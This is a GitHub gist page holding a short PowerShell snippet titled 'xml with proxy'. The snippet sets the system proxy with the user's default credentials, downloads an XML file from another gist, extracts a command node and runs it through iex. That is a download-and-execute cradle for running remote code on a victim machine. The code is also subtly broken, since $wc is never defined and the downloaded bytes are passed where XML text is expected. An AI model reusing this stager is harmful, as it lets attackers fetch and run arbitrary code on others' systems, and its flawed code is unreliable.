Skip to content

Instantly share code, notes, and snippets.

@breakersall
Created June 21, 2017 23:32
Show Gist options
  • Save breakersall/5dc43b2f6b8b58c42a6f9c8b6bd89b4a to your computer and use it in GitHub Desktop.
Save breakersall/5dc43b2f6b8b58c42a6f9c8b6bd89b4a to your computer and use it in GitHub Desktop.
xml with proxy
$proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
$wc.proxy = $proxy
$d = New-Object System.Xml.XmlDocument
$d.Load($wc.DownloadData("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt"));
$d.command.a.execute | iex
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment